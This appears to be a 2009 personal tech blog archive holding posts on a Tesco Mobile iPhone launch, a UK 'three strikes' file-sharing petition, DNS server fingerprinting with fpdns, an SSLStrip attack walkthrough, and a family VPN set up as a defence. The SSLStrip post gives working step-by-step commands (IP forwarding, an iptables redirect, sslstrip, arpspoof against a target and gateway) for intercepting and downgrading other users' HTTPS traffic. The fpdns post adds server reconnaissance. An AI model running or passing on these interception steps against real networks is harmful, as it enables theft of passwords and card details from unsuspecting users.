Archive for November, 2009
Tesco to sell iPhone on Tesco Mobile
by Rootadmin on Nov.27, 2009, under Uncategorized
For further information and for customers interested in pre-registration please visit http://www.tescomobileiphone.com/.
For more information on iPhone, please visit www.apple.com/uk/iphone.
More information can be found on Tesco Mobile at http://www.tescomobile.com/
About Tesco Mobile:
Tesco Mobile is a 50:50 joint venture between Tesco and O2. The company sells exclusively Tesco Mobile branded services in Tesco stores, online and through Tesco Direct, across the UK using O2’s technology and network.
Tesco Mobile is also available in the rapidly expanding estate of Tesco Phone Shops which will number over 100 by the end of 2009.
The network gives its customers value, simplicity and choice, offering them award winning, simple, great value Pay as you go and Pay monthly tariffs with rewards such as free credit and Clubcard points.
It is the fastest growing Pay as you go network in 2009 and has been voted as the number one mobile network for customer satisfaction by Which Magazine (May 09).
UK 3 Strikes law petition
by Rootadmin on Nov.24, 2009, under Uncategorized
Following the decision of the European Parliament that enables European member states to approve laws that force ISPs to disconnect individuals from the Internet, the UK is planning on enforcing its own version of the “three-strikes” law meant to discourage illegal file sharing.
According to The Guardian, Lord Peter Mandelson, the Business Secretary, announced that this law is supposed become reality in 2011. It will go through a 12 months long testing phase that will see warning letters sent to persistent offenders. If the scope of the illegal activity doesn’t drop by at least 70 percent by April 2011, three months later the practice of cutting off the Internet access will be set in motion.
There were a lot of voices raised against this plan. ISPs don’t want the responsibility – it’s bad for their public image, and also raises operational costs. The Open Rights Group sees it as an infringement of basic rights. Times Online reports that even UK’s law enforcement and intelligence services are against it. They fear that pirates will begin to use encryption and thus make their job even harder (not to mention the increase of workload and costs).
On the opposite side sit the music and movie industries. They are, of course, anxious to see the law in practice since they “lose” hundreds of millions of pounds every year.
SIGN THE PETITION http://petitions.number10.gov.uk/dontdisconnectus/ – UK Citizens only
Fingering DNS Servers in ubuntu
by Rootadmin on Nov.21, 2009, under Uncategorized
Install fpdns in Ubuntu
sudo aptitude install fpdns
This will complete the installation
Using fpdns
fpdns [-c] [-d] [-f] [-p port] [-Q srcaddr] [-r retry] [-s] [-t timeout] [-v] server
Where: server is an ip address or a resolvable name
or ‘-’ to read list of servers from stdin
-c (where appropriate check CH TXT version) [off]
-d (debug) [off]
-f (force check CH TXT version) [off]
-F (maximum forked processes) [10]
-p port (nameserver is on this port) [53]
-Q srcaddr (source IP address) [0.0.0.0]
-r retry (set number of attempts) [1]
-s (short form) [off]
-t time (set query timeout) [5]
-v (show version)
fpdns Examples
BIND Version 8 Example
fpdns -D google.com
fingerprint (google.com, 216.239.34.10): ISC BIND 8.3.0-RC1 — 8.4.4
fingerprint (google.com, 216.239.36.10): ISC BIND 8.3.0-RC1 — 8.4.4
fingerprint (google.com, 216.239.38.10): ISC BIND 8.3.0-RC1 — 8.4.4
fingerprint (google.com, 216.239.32.10): ISC BIND 8.3.0-RC1 — 8.4.4
BIND Version 9 Example
fpdns -D debianhelp.co.uk
fingerprint (debianhelp.co.uk, 212.67.202.2): ISC BIND 9.2.3rc1 — 9.4.0a0 [recursion enabled]
fingerprint (debianhelp.co.uk, 212.67.203.246): ISC BIND 9.2.3rc1 — 9.4.0a0 [recursion enabled]
TinyDNS Example
fpdns ns1.eu.dedicatedserver.com.
fingerprint (ns1.eu.dedicatedserver.com., 213.198.65.226): DJ Bernstein TinyDNS 1.05
Microsoft windows 2003 Example
fpdns -D microsoft.com
fingerprint (microsoft.com, 207.68.160.190): Microsoft Windows DNS 2003
fingerprint (microsoft.com, 65.54.240.126): Microsoft Windows DNS 2003
View SSL Traffic
by Rootadmin on Nov.12, 2009, under Other
SSLStrip will transparently hijack HTTP traffic on a network, watch for HTTPS links and redirects, then map those links into either look-alike HTTP links or homograph-similar HTTPS links. It also supports modes for supplying a favicon which looks like a lock icon, selective logging, and session denial. For more information on the attack, see the video from the presentation below.
How does this work?
First, arpspoof convinces a host that our MAC address is the router’s MAC address, and the target begins to send us all its network traffic. The kernel forwards everything along except for traffic destined to port 80, which it redirects to $listenPort (10000, for example).
At this point, sslstrip receives the traffic and does its magic.
Requirements
- Python >= 2.4 (apt-get install python)
- The python “twisted-web” module (apt-get install twisted-web)
Setup
- wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.6.tar.gz
- tar zxvf sslstrip-0.6.tar.gz
- cd sslstrip-0.6
- (optional) sudo python ./setup.py install
Running sslstrip
- Flip your machine into forwarding mode. (echo “1″ > /proc/sys/net/ipv4/ip_forward)
- Setup iptables to redirect HTTP traffic to sslstrip. (iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port <listenPort>)
- Run sslstrip. (sslstrip.py -l <listenPort>)
- Run arpspoof to convince a network they should send their traffic to you. (arpspoof -i <interface> -t <targetIP> <gatewayIP>)
That should do it.
- http://www.thoughtcrime.org/software/sslstrip/
New vpn server
by Rootadmin on Nov.12, 2009, under Uncategorized
We’ll as some of you may know it is possible to sniff on SSL traffic on a network and capture things like usernames, passswords and even creditcard details.
In response to this I (with some considerable help from YaManicKill -http://www.10people.co.uk/) have created a vpn server for my wife and I, her family and my family and YaManicKill to use to help combat this issue.
We leased a VPS box in a datacentre so the connection is fast( instead of hosting the server at a house on an adsl line). Its been a bit of a mission in setting up, but we got there in the end
RootAdmin.co.uk may move host to the VPS box, but at this moment in time this is just an idea.



